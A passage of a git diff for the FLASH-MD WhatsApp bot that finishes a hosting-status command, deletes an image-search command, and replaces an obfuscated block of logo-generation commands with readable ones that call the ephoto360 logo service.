+ const hostInfo = `*◇ HOSTING STATUS ◇*\n\n` + + `*Hosting Provider:* ${platform}\n` + + `*Time:* ${time}\n` + + `*Bot Uptime:* ${uptimeBot}\n` + + `*RAM Used:* ${usedMem} GB\n` + + `*Total RAM:* ${totalMem} GB`; + + try { + await king.sendMessage(fromJid, { + text: hostInfo, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + console.error('Error in host command:', error); + await king.sendMessage(fromJid, { + text: `❌ Failed to get host info. Error: ${error.response?.status || error.message}` + }, { quoted: msg }); + } + } +}; diff --git a/commands/Img.js b/commands/Img.js deleted file mode 100644 index 132917a4..00000000 --- a/commands/Img.js +++ /dev/null @@ -1,44 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - -const {france} = require('../framework/france'); -var gis = require('g-i-s'); - - -france({ - nomCom: "img", - categorie: "Search", - reaction: "📷" -}, -async (dest, zk, commandeOptions) => { - const { repondre, ms, arg } = commandeOptions; - - if (!arg[0]) { - repondre('which image ? !'); - return; - } - - const searchTerm = arg.join(" "); - //repondre("termes " +searchTerm); - gis(searchTerm,envoiImage); - - function envoiImage(e,r) - { - if(e){repondre("oups une error ")}else{for(var a=0;a<5;a++){zk.sendMessage(dest,{image:{url:r[a].url}},{quoted:ms});}} - - } - - //gis(searchTerm,envoiImage); - -}); diff --git a/commands/Logo.js b/commands/Logo.js index 63623165..6bcbd722 100644 --- a/commands/Logo.js +++ b/commands/Logo.js @@ -1,21 +1,955 @@ +const { franceking } = require('../main'); +const mumaker = require('mumaker'); +module.exports = [ + { + name: 'hacker', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a neon hacker-style logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; -/** + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: 'Example: .hacker YourName' }, { quoted: msg }); + } -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ + try { + await king.sendMessage(chatId, { text: '*Generating your logo... Please wait.*' }, { quoted: msg }); - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html', + args.join(' ') + ); + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*FLASH-MD V2 - Logo Generator*' + }, { quoted: msg }); + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } + }, + { + name: 'dragonball', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a Dragon Ball style logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .dragonball YourText'; + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + try { + await king.sendMessage(chatId, { text: '*Processing your logo... Please wait.*' }, { quoted: msg }); -const _0x4d776a=_0x1db1;(function(_0x2fe355,_0x5a6fbf){const _0x5dd732=_0x1db1,_0x545503=_0x2fe355();while(!![]){try{const _0x534b4d=parseInt(_0x5dd732(0x23e))/0x1+parseInt(_0x5dd732(0x25c))/0x2*(parseInt(_0x5dd732(0x287))/0x3)+parseInt(_0x5dd732(0x1ec))/0x4*(-parseInt(_0x5dd732(0x206))/0x5)+-parseInt(_0x5dd732(0x1d5))/0x6+-parseInt(_0x5dd732(0x2a2))/0x7+parseInt(_0x5dd732(0x271))/0x8*(parseInt(_0x5dd732(0x229))/0x9)+parseInt(_0x5dd732(0x25f))/0xa;if(_0x534b4d===_0x5a6fbf)break;else _0x545503['push'](_0x545503['shift']());}catch(_0x2c09b9){_0x545503['push'](_0x545503['shift']());}}}(_0x9706,0x6b92e));function _0x1db1(_0x22e4ab,_0x18ec08){const _0x970613=_0x9706();return _0x1db1=function(_0x1db10e,_0x1b3af4){_0x1db10e=_0x1db10e-0x1ad;let _0x23c688=_0x970613[_0x1db10e];return _0x23c688;},_0x1db1(_0x22e4ab,_0x18ec08);}const {france}=require('../framewo'+_0x4d776a(0x240));var mumaker=require(_0x4d776a(0x23b));function _0x9706(){const _0x3d9b53=['-effect-52','m/tao-anh-','frozen','join','nt\x20Flash-M','hacker','ena-of-val','xtpro.me/c','typo\x20Flash','ced-text-e','ight-text-','82.html','xt-effect-','13.html','nline-thun','*__Example','thor','rain\x20Franc','sunset','hub\x20France','ccurred\x20:','e-808.html','text','3114294mkznNp','-effect-on','.com/purpl','naruto','style-text','ffect-62.h','-choi-cuoc','.com/sunli','LASH-MD','chocolate\x20','*Logo\x20by\x20F','mande:\x0a\x20','*processin','boom\x20Franc','\x20using\x20thi','Thunder\x20My','duite\x20:','graffiti','https://te','t-effect-t','Example\x20of','e-anonymou','neon','4MYIspt','rance\x20King','.com/stars','ritten-tex','o-shippude','g...*','*Processin','e-a-cartoo','-style-tex','My\x20text','or-by-mast','gers-onlin','🧚🏿‍♀️','ts-online-','le-text-ef','ect-online','catch','t-effect-7','Une\x20erreur','fect-onlin','sendMessag','fect-text-','vatars-cya','hoto360.co','e-796.html','.com/light','3506095bMkrCJ','LASH-MD*','\x20FLASH-MD*','🥵🥵\x20','free-1070.','processing','h-MD','.com/text-','rator-1031','*Example\x20U','t-effect-o','e-dragon-b','https://en','\x20FranceKin','Neon\x20My\x20te','magma','Flash-Md','h-Md','text-comic','\x20s\x27est\x20pro','cloth','steel\x20Flas','maker-onli','e-thor-sty','y\x20FLASH-MD','e-427.html','e-sunset-l','xtpro.me/e','0.html','.com/moder','sunset\x20Fra','et-glass-o','xtpro.me/o','.com/green','e-text-eff','261198mQYpiN','mechanical','avenger','ne-153.htm','n-logo-sty','s\x20command:','sunlight\x20F','on-cloth-e','grafittis\x20','te-gold-3d','steel','ct-futuris','\x20:\x20*\x20','equest...*','ing...*','*Flash-Md\x20','t-glow-sli','e-in-a-mec','mumaker','mand:\x0a\x20','ne-for-fre','491542KWUgLg','image','rk/france','-text-effe','t-effect-6','style-aven','effects-in','.com/drago','\x20using\x20com','-brush-tex','online-774','s-hacker-a','arena','*_EXAMPLE\x20','cloth\x20Flas','ing\x20Your\x20R','-names-and','leaves','affiti-tex','line-807.h','ct-online-','gold\x20Flash','ine-1-85.h','.com/narut','sand','.com/foggy','.com/write','is\x20Process','\x20France\x20Ki','ffect-onli','28146WqyEJQ','incandesce','.ephoto360','10273640kMjmwG','-goi-voi-t','gma-hot-te','night\x20FLAS','e-logo-3d-','ext','SH-MD','*_Example\x20','sunlight','\x20*Logo\x20by\x20','ering-360.','en-cua-ban','-pavement-','purple','online-295','nline-668.','chocolate','.com/choco','240NQTdLX','is\x20process','-night-onl','boom','night','lash-MD','.com/creat','👨🏿‍💻','nce','logy-style','.html','\x20processin','t-on-foggy','didong','n-gold-4-2','\x20\x09\x20*Logo\x20b','log','-100.html','-648.html','online-347','-christmas','g\x20...','3RUpCMM','textpro','gold','magma\x20My\x20t','🚫🚫\x20','-rainy-tex','thunder','yle-306.ht','online-103','candescent','\x20...','html','didong\x20Fra','e\x20King','tml','all-style-','-MD','water\x20FLAS','nline-589.','75.html','Logo\x20BY\x20*F','ing\x20your\x20r',':\x20*\x20','5.html','der-text-e','n-steel-te','whitegold','5199243CMxcLH','error','-text-204.','e-your-nam','light\x20Flas','Logo','xtpro.me/n','n-neon-677','text-effec','\x09\x20*Logo\x20by','809.html','*FLASH-MD\x20','ypography-','Exemple\x20of','-messages-','e-a-frozen','\x09\x20*Logo\x20By','raphy-text','then','*exemple\x20:','H-MD','ne-879.htm','nce\x20King','Logo\x20by\x20*F','-bulbs-219','ephoto','FLASH-MD*'];_0x9706=function(){return _0x3d9b53;};return _0x9706();}france({'nomCom':_0x4d776a(0x1c3),'categorie':_0x4d776a(0x2a7),'reaction':_0x4d776a(0x278)},async(_0x4bf79d,_0x87b803,_0x269a3b)=>{const _0x2dc2a0=_0x4d776a,{prefixe:_0x35884e,arg:_0x72a2f4,ms:_0x4292b8,repondre:_0x557f9f}=_0x269a3b;if(!_0x72a2f4||_0x72a2f4==''){_0x557f9f('*__Exemple'+'\x20:\x20*\x20'+_0x35884e+('hacker\x20Fra'+_0x2dc2a0(0x279)));return;}try{let _0x3e5170=await mumaker[_0x2dc2a0(0x1bc)](_0x2dc2a0(0x212)+_0x2dc2a0(0x25e)+_0x2dc2a0(0x277)+_0x2dc2a0(0x1ea)+_0x2dc2a0(0x249)+_0x2dc2a0(0x202)+_0x2dc2a0(0x2a9)+'.html',_0x72a2f4);_0x557f9f('*processin'+_0x2dc2a0(0x1f1)),await _0x87b803['sendMessag'+'e'](_0x4bf79d,{'image':{'url':_0x3e5170[_0x2dc2a0(0x23f)]},'caption':_0x2dc2a0(0x2ab)+'\x20FLASH-MD*'},{'quoted':_0x4292b8});}catch(_0x5f4493){_0x557f9f('🥵🥵\x20'+_0x5f4493);}}),france({'nomCom':_0x4d776a(0x256),'categorie':_0x4d776a(0x2a7),'reaction':'⌛'},async(_0xde980e,_0xf2325,_0x2fa631)=>{const _0x15641f=_0x4d776a,{prefixe:_0x1ee813,arg:_0x332962,ms:_0x1e9b24,repondre:_0x1cb34a}=_0x2fa631;if(!_0x332962||_0x332962==''){_0x1cb34a(_0x15641f(0x20f)+'sage\x20:\x20*\x20'+_0x1ee813+('sand\x20Flash'+'-Md'));return;}try{let _0x329cf5=await mumaker[_0x15641f(0x1bc)](_0x15641f(0x212)+_0x15641f(0x25e)+_0x15641f(0x258)+_0x15641f(0x24e)+_0x15641f(0x1b1)+'on-the-san'+'d-online-5'+_0x15641f(0x1c9),_0x332962);_0x1cb34a(_0x15641f(0x238)+_0x15641f(0x259)+_0x15641f(0x237)),await _0xf2325[_0x15641f(0x200)+'e'](_0xde980e,{'image':{'url':_0x329cf5['image']},'caption':_0x15641f(0x1b3)+_0x15641f(0x208)},{'quoted':_0x1e9b24});}catch(_0x22095c){_0x1cb34a(_0x15641f(0x28b)+_0x22095c);}}),france({'nomCom':'dragonball','categorie':_0x4d776a(0x2a7),'reaction':'🐉'},async(_0x255896,_0x188ce5,_0x13e70b)=>{const _0x1e046d=_0x4d776a;let {arg:_0x1cc07a,repondre:_0x29ec23,prefixe:_0x23b64f,ms:_0x393ef6}=_0x13e70b;try{const _0x3067cc=_0x1e046d(0x24b)+'*:\x20\x20'+_0x23b64f+('dragonball'+_0x1e046d(0x213)+'g');if(_0x1cc07a==''||!_0x1cc07a){_0x29ec23(_0x3067cc);return;}const _0x1ccfb9=await mumaker[_0x1e046d(0x1bc)](_0x1e046d(0x212)+_0x1e046d(0x25e)+_0x1e046d(0x277)+_0x1e046d(0x211)+_0x1e046d(0x296)+_0x1e046d(0x2aa)+_0x1e046d(0x1f9)+_0x1e046d(0x1ad),_0x1cc07a[_0x1e046d(0x1c1)]('\x20'));await _0x188ce5[_0x1e046d(0x200)+'e'](_0x255896,{'text':_0x1e046d(0x1f2)+_0x1e046d(0x1f1)},{'quoted':_0x393ef6}),await _0x188ce5[_0x1e046d(0x200)+'e'](_0x255896,{'image':{'url':_0x1ccfb9[_0x1e046d(0x23f)]},'caption':_0x1e046d(0x280)+_0x1e046d(0x21e)+'*'},{'quoted':_0x393ef6});}catch(_0x4a45ab){_0x29ec23(_0x1e046d(0x209)+_0x4a45ab);}}),france({'nomCom':_0x4d776a(0x1d8),'categorie':_0x4d776a(0x2a7),'reaction':'⛩'},async(_0x429b37,_0x2a0575,_0x491412)=>{const _0x333a11=_0x4d776a;let {ms:_0x17eb88,arg:_0x4a1bea,repondre:_0xfa9047,prefixe:_0x303ebd}=_0x491412;try{if(!_0x4a1bea||_0x4a1bea==''){_0xfa9047(_0x333a11(0x266)+_0x333a11(0x29d)+_0x303ebd+('naruto\x20FLA'+_0x333a11(0x265)));return;}_0xfa9047(_0x333a11(0x1ae)+'is\x20Process'+_0x333a11(0x24d)+_0x333a11(0x236));var _0x1b911f=await mumaker[_0x333a11(0x1bc)](_0x333a11(0x212)+'.ephoto360'+_0x333a11(0x255)+_0x333a11(0x1f0)+_0x333a11(0x22d)+_0x333a11(0x1fa)+_0x333a11(0x1ff)+_0x333a11(0x1d3),_0x4a1bea[_0x333a11(0x1c1)]('\x20'));await _0x2a0575[_0x333a11(0x200)+'e'](_0x429b37,{'image':{'url':_0x1b911f[_0x333a11(0x23f)]},'caption':_0x333a11(0x2ab)+_0x333a11(0x208)},{'quoted':_0x17eb88});}catch(_0x2a6579){_0xfa9047(_0x333a11(0x209)+_0x2a6579);}}),france({'nomCom':_0x4d776a(0x27e),'categorie':_0x4d776a(0x2a7),'reaction':'📱'},async(_0x4adff0,_0x254439,_0x5cbad3)=>{const _0x43a132=_0x4d776a;try{if(!_0x181394||_0x181394==''){_0x248cc8(_0x43a132(0x1b6)+'*\x20'+_0x16cabd+(_0x43a132(0x293)+_0x43a132(0x1b9)));return;}var _0xb81f80=await mumaker[_0x43a132(0x1bc)]('https://ep'+_0x43a132(0x203)+_0x43a132(0x1bf)+'che-vui-tu'+_0x43a132(0x1db)+_0x43a132(0x260)+_0x43a132(0x26a)+'-930.html',_0x181394[_0x43a132(0x1c1)]('\x20'));_0x248cc8(_0x43a132(0x1e1)+'g...*'),await _0x254439[_0x43a132(0x200)+'e'](_0x4adff0,{'image':{'url':_0xb81f80[_0x43a132(0x23f)]},'caption':_0x43a132(0x2ab)+_0x43a132(0x208)});}catch(_0x34ad57){_0x248cc8(_0x43a132(0x209)+_0x34ad57);}}),france({'nomCom':_0x4d776a(0x275),'categorie':_0x4d776a(0x2a7),'reaction':'🌃'},async(_0x1a2790,_0x466d8a,_0x2d7af5)=>{const _0x2d0ce6=_0x4d776a,{arg:_0x92c7c5,repondre:_0x326971,ms:_0x14e950,prefixe:_0x45583b}=_0x2d7af5;if(!_0x92c7c5[0x0]){_0x326971('Example\x20of'+_0x2d0ce6(0x1e3)+_0x2d0ce6(0x22e)+'\x0a\x20'+_0x45583b+(_0x2d0ce6(0x262)+_0x2d0ce6(0x1b7)));return;}let _0x1cb495=_0x92c7c5['join']('\x20');mumaker[_0x2d0ce6(0x1bc)](_0x2d0ce6(0x212)+_0x2d0ce6(0x25e)+_0x2d0ce6(0x1ee)+_0x2d0ce6(0x273)+_0x2d0ce6(0x254)+_0x2d0ce6(0x295),_0x1cb495)['then'](_0x444e7f=>{const _0x5be8f1=_0x2d0ce6;_0x466d8a[_0x5be8f1(0x200)+'e'](_0x1a2790,{'image':{'url':_0x444e7f['image']},'caption':_0x5be8f1(0x1ba)+_0x5be8f1(0x1ed)+'*'},{'quoted':_0x14e950});})[_0x2d0ce6(0x1fc)](console[_0x2d0ce6(0x281)]);}),france({'nomCom':_0x4d776a(0x1d0),'categorie':_0x4d776a(0x2a7),'reaction':'🌞'},async(_0x5d9929,_0x5b75ac,_0x3cd095)=>{const _0x328346=_0x4d776a,{arg:_0xca8169,repondre:_0x1455ca,ms:_0x2e6156,prefixe:_0xd2de27}=_0x3cd095;if(!_0xca8169[0x0]){_0x1455ca(_0x328346(0x1e9)+'\x20using\x20thi'+_0x328346(0x22e)+'\x0a\x20'+_0xd2de27+(_0x328346(0x224)+'nce\x20King'));return;}const _0x1d26fb=_0xca8169[_0x328346(0x1c1)]('\x20');mumaker[_0x328346(0x1bc)](_0x328346(0x212)+'.ephoto360'+'.com/creat'+_0x328346(0x220)+_0x328346(0x1c8)+'effects-on'+_0x328346(0x251)+_0x328346(0x295),_0x1d26fb)[_0x328346(0x1b5)](_0x3ecf64=>{const _0x44bac1=_0x328346;_0x5b75ac[_0x44bac1(0x200)+'e'](_0x5d9929,{'image':{'url':_0x3ecf64['image']},'caption':_0x44bac1(0x1ba)+_0x44bac1(0x207)},{'quoted':_0x2e6156});})['catch'](console[_0x328346(0x2a3)]);}),france({'nomCom':_0x4d776a(0x26f),'categorie':'Logo','reaction':'🍫'},async(_0x104096,_0x4cd36a,_0x40a9db)=>{const _0x55315c=_0x4d776a,{arg:_0x52eabe,repondre:_0x4a4349,ms:_0x205a50,prefixe:_0x2048f6}=_0x40a9db;if(!_0x52eabe||_0x52eabe==''){_0x4a4349(_0x55315c(0x1e9)+_0x55315c(0x1e3)+_0x55315c(0x22e)+'\x0a\x20'+_0x2048f6+(_0x55315c(0x1de)+_0x55315c(0x216)));return;}try{let _0x387e22=await mumaker['ephoto']('https://en'+_0x55315c(0x25e)+_0x55315c(0x270)+'late-text-'+'effect-353'+_0x55315c(0x27b),_0x52eabe);_0x4cd36a[_0x55315c(0x200)+'e'](_0x104096,{'image':{'url':_0x387e22[_0x55315c(0x23f)]},'caption':'Logo\x20by\x20*F'+_0x55315c(0x207)},{'quoted':_0x205a50});}catch(_0x1ecb12){_0x4a4349(_0x55315c(0x209)+_0x1ecb12);}}),france({'nomCom':_0x4d776a(0x22a),'categorie':'Logo','reaction':'🏢'},async(_0x466e14,_0x523993,_0x3bccc1)=>{const _0x50c414=_0x4d776a,{arg:_0x48df6b,repondre:_0x500d57,ms:_0x32a561,prefixe:_0x56b7cb}=_0x3bccc1;if(!_0x48df6b[0x0]){_0x500d57(_0x50c414(0x1e9)+_0x50c414(0x1e3)+_0x50c414(0x22e)+'\x0a\x20'+_0x56b7cb+(_0x50c414(0x22a)+_0x50c414(0x25a)+'ng'));return;}const _0x10b87d=_0x48df6b['join']('\x20');mumaker[_0x50c414(0x1bc)](_0x50c414(0x212)+_0x50c414(0x25e)+_0x50c414(0x277)+_0x50c414(0x2a5)+_0x50c414(0x23a)+'hanical-st'+_0x50c414(0x28e)+'ml',_0x10b87d)[_0x50c414(0x1b5)](_0x414f9e=>{const _0x137629=_0x50c414;_0x523993[_0x137629(0x200)+'e'](_0x466e14,{'image':{'url':_0x414f9e[_0x137629(0x23f)]},'caption':_0x137629(0x1ba)+'rance\x20King'+'*'},{'quoted':_0x32a561});})[_0x50c414(0x1fc)](console[_0x50c414(0x2a3)]);}),france({'nomCom':'rain','categorie':_0x4d776a(0x2a7),'reaction':'☔'},async(_0x22e90a,_0x9fe5d3,_0x14386c)=>{const _0x1e5ec2=_0x4d776a,{arg:_0x37b54a,repondre:_0x110218,ms:_0x4cee7d,prefixe:_0x23d7c9}=_0x14386c;if(!_0x37b54a[0x0]){_0x110218(_0x1e5ec2(0x1e9)+_0x1e5ec2(0x1e3)+_0x1e5ec2(0x22e)+'\x0a\x20'+_0x23d7c9+(_0x1e5ec2(0x1cf)+_0x1e5ec2(0x294)));return;}const _0xfcd1f1=_0x37b54a['join']('\x20');mumaker[_0x1e5ec2(0x1bc)](_0x1e5ec2(0x212)+'.ephoto360'+_0x1e5ec2(0x257)+_0x1e5ec2(0x28c)+_0x1e5ec2(0x1fd)+_0x1e5ec2(0x29e),_0xfcd1f1)[_0x1e5ec2(0x1b5)](_0x54a341=>{const _0x7ade47=_0x1e5ec2;_0x9fe5d3['sendMessag'+'e'](_0x22e90a,{'image':{'url':_0x54a341[_0x7ade47(0x23f)]},'caption':_0x7ade47(0x1ba)+_0x7ade47(0x1ed)+'*'},{'quoted':_0x4cee7d});})['catch'](console[_0x1e5ec2(0x2a3)]);}),france({'nomCom':_0x4d776a(0x21a),'categorie':_0x4d776a(0x2a7),'reaction':'🦺'},async(_0x2fc61d,_0x2994a5,_0x38277e)=>{const _0x539681=_0x4d776a,{arg:_0x370284,repondre:_0x15fb61,ms:_0x28d6ea,prefixe:_0x43e6fd}=_0x38277e;if(!_0x370284[0x0]){_0x15fb61(_0x539681(0x1e9)+_0x539681(0x1e3)+_0x539681(0x22e)+'\x0a\x20'+_0x43e6fd+(_0x539681(0x24c)+_0x539681(0x217)));return;}mumaker[_0x539681(0x1bc)](_0x539681(0x212)+_0x539681(0x25e)+_0x539681(0x20d)+_0x539681(0x230)+_0x539681(0x1da)+_0x539681(0x295),_0x370284)[_0x539681(0x1b5)](_0xa07682=>{const _0x1f0494=_0x539681;_0x2994a5[_0x1f0494(0x200)+'e'](_0x2fc61d,{'image':{'url':_0xa07682[_0x1f0494(0x23f)]},'caption':_0x1f0494(0x1ba)+_0x1f0494(0x207)},{'quoted':_0x28d6ea});})['catch'](console[_0x539681(0x2a3)]);}),france({'nomCom':_0x4d776a(0x22b),'categorie':'Logo','reaction':'💥'},async(_0x3940bc,_0x453ea6,_0x46f491)=>{const _0xaed4a0=_0x4d776a;if(!_0xc0638||_0xc0638==''){_0x3f898a('\x20\x20Example\x20'+':*\x20'+_0x338b80+('graffiti\x20F'+_0xaed4a0(0x1dd)));return;}try{console[_0xaed4a0(0x281)](_0xc0638);var _0x429ca1=await mumaker[_0xaed4a0(0x1bc)]('https://en'+'.ephoto360'+_0xaed4a0(0x277)+_0xaed4a0(0x263)+_0xaed4a0(0x243)+_0xaed4a0(0x1f7)+_0xaed4a0(0x21f),_0xc0638);_0x3f898a('\x20Processin'+_0xaed4a0(0x286)),await _0x453ea6[_0xaed4a0(0x200)+'e'](_0x3940bc,{'image':{'url':_0x429ca1[_0xaed4a0(0x23f)]},'caption':_0xaed4a0(0x268)+_0xaed4a0(0x1bd)});}catch(_0x153f18){_0x3f898a('🥵🥵\x20'+_0x153f18);}}),france({'nomCom':'water','categorie':_0x4d776a(0x2a7),'reaction':'💦'},async(_0x59c858,_0x3c6856,_0x351799)=>{const _0x1483c3=_0x4d776a,{arg:_0x4ad23f,repondre:_0x102fb4,ms:_0x3f1813,prefixe:_0x13b7f4}=_0x351799;if(!_0x4ad23f[0x0]){_0x102fb4(_0x1483c3(0x1e9)+_0x1483c3(0x1e3)+'s\x20command:'+'\x0a\x20'+_0x13b7f4+(_0x1483c3(0x298)+_0x1483c3(0x1b7)));return;}let _0x438e16=_0x4ad23f['join']('\x20');mumaker[_0x1483c3(0x1bc)](_0x1483c3(0x212)+_0x1483c3(0x25e)+_0x1483c3(0x277)+'e-water-ef'+_0x1483c3(0x201)+_0x1483c3(0x26d)+'.html',_0x438e16)[_0x1483c3(0x1b5)](_0x42ebe4=>{const _0x4529e3=_0x1483c3;_0x3c6856[_0x4529e3(0x200)+'e'](_0x59c858,{'image':{'url':_0x42ebe4['image']},'caption':_0x4529e3(0x1ba)+_0x4529e3(0x1ed)+'*'},{'quoted':_0x3f1813});})[_0x1483c3(0x1fc)](console[_0x1483c3(0x281)]);}),france({'nomCom':'1917','categorie':_0x4d776a(0x2a7),'reaction':'😤'},async(_0x5679b2,_0x2aa812,_0xf735c8)=>{const _0x306c5a=_0x4d776a,{arg:_0x2b69cf,ms:_0xcc6503,prefixe:_0x1bc1d3,repondre:_0x3e8d85}=_0xf735c8;if(!_0x2b69cf[0x0]){_0x3e8d85(_0x306c5a(0x1e9)+_0x306c5a(0x1e3)+_0x306c5a(0x22e)+'\x0a\x20'+_0x1bc1d3+(_0x306c5a(0x1d1)+'\x20King'));return;}const _0x5cb3fe=_0x2b69cf[_0x306c5a(0x1c1)]('\x20');mumaker[_0x306c5a(0x1bc)](_0x306c5a(0x212)+'.ephoto360'+'.com/1917-'+_0x306c5a(0x1d9)+_0x306c5a(0x1be)+'3.html',_0x5cb3fe)['then'](_0x2c6b02=>{const _0x667327=_0x306c5a;_0x2aa812[_0x667327(0x200)+'e'](_0x5679b2,{'image':{'url':_0x2c6b02[_0x667327(0x23f)]},'caption':_0x667327(0x29b)+_0x667327(0x207)},{'quoted':_0xcc6503});})['catch'](_0x274c3e=>{const _0x4580dd=_0x306c5a;console['error']('An\x20error\x20o'+_0x4580dd(0x1d2),_0x274c3e);});}),france({'nomCom':_0x4d776a(0x1e6),'categorie':_0x4d776a(0x2a7),'reaction':'💥'},async(_0x290373,_0x1c2264,_0x42485e)=>{const _0x159773=_0x4d776a,{prefixe:_0x259b00,arg:_0x371bfa,ms:_0x3b025e,repondre:_0x3d33da}=_0x42485e;if(!_0x371bfa||_0x371bfa==''){_0x3d33da(_0x159773(0x1cd)+_0x159773(0x235)+_0x259b00+(_0x159773(0x231)+'France'));return;}try{let _0x15648f=await mumaker[_0x159773(0x1bc)]('https://en'+_0x159773(0x25e)+_0x159773(0x277)+_0x159773(0x1f3)+'n-style-gr'+_0x159773(0x250)+_0x159773(0x210)+_0x159773(0x26e)+_0x159773(0x292),_0x371bfa);_0x3d33da('*FLASH-MD\x20'+_0x159773(0x272)+_0x159773(0x29c)+_0x159773(0x236)),await _0x1c2264[_0x159773(0x200)+'e'](_0x290373,{'image':{'url':_0x15648f[_0x159773(0x23f)]},'caption':_0x159773(0x2ab)+'\x20FLASH-MD*'},{'quoted':_0x3b025e});}catch(_0x4fe94d){_0x3d33da(_0x159773(0x209)+_0x4fe94d);}}),france({'nomCom':_0x4d776a(0x28d),'categorie':_0x4d776a(0x2a7),'reaction':'⚡'},async(_0xab65b,_0xe2d9d0,_0x30304f)=>{const _0x162632=_0x4d776a,{arg:_0x1eeace,ms:_0x237ae5,prefixe:_0x1f7a53,repondre:_0x846d63}=_0x30304f;if(!_0x1eeace[0x0]){_0x846d63(_0x162632(0x1b0)+_0x162632(0x246)+_0x162632(0x1e0)+_0x1f7a53+(_0x162632(0x1e4)+'\x20text'));return;}const _0x3467d3=_0x1eeace[_0x162632(0x1c1)]('\x20');mumaker[_0x162632(0x288)](_0x162632(0x1e7)+_0x162632(0x226)+_0x162632(0x1cc)+_0x162632(0x29f)+'ffect-gene'+_0x162632(0x20e)+_0x162632(0x27b),_0x3467d3)[_0x162632(0x1b5)](_0x2d704d=>{const _0x5c6880=_0x162632;_0xe2d9d0['sendMessag'+'e'](_0xab65b,{'image':{'url':_0x2d704d[_0x5c6880(0x23f)]},'caption':'Logo\x20by\x20*F'+_0x5c6880(0x207)},{'quoted':_0x237ae5});})[_0x162632(0x1fc)](_0x5d3bf5=>{const _0xb48618=_0x162632;console[_0xb48618(0x2a3)](_0xb48618(0x1fe)+_0xb48618(0x219)+_0xb48618(0x1e5),_0x5d3bf5);});}),france({'nomCom':_0x4d776a(0x274),'categorie':_0x4d776a(0x2a7),'reaction':'💥'},async(_0x1cf888,_0x200d31,_0xd6ac39)=>{const _0x59ebcb=_0x4d776a,{arg:_0x3cb342,ms:_0x4984b4,prefixe:_0x417bff,repondre:_0x729cd7}=_0xd6ac39;if(!_0x3cb342[0x0]){_0x729cd7(_0x59ebcb(0x1e9)+_0x59ebcb(0x1e3)+'s\x20command:'+'\x0a\x20'+_0x417bff+(_0x59ebcb(0x1e2)+'e\x20King'));return;}const 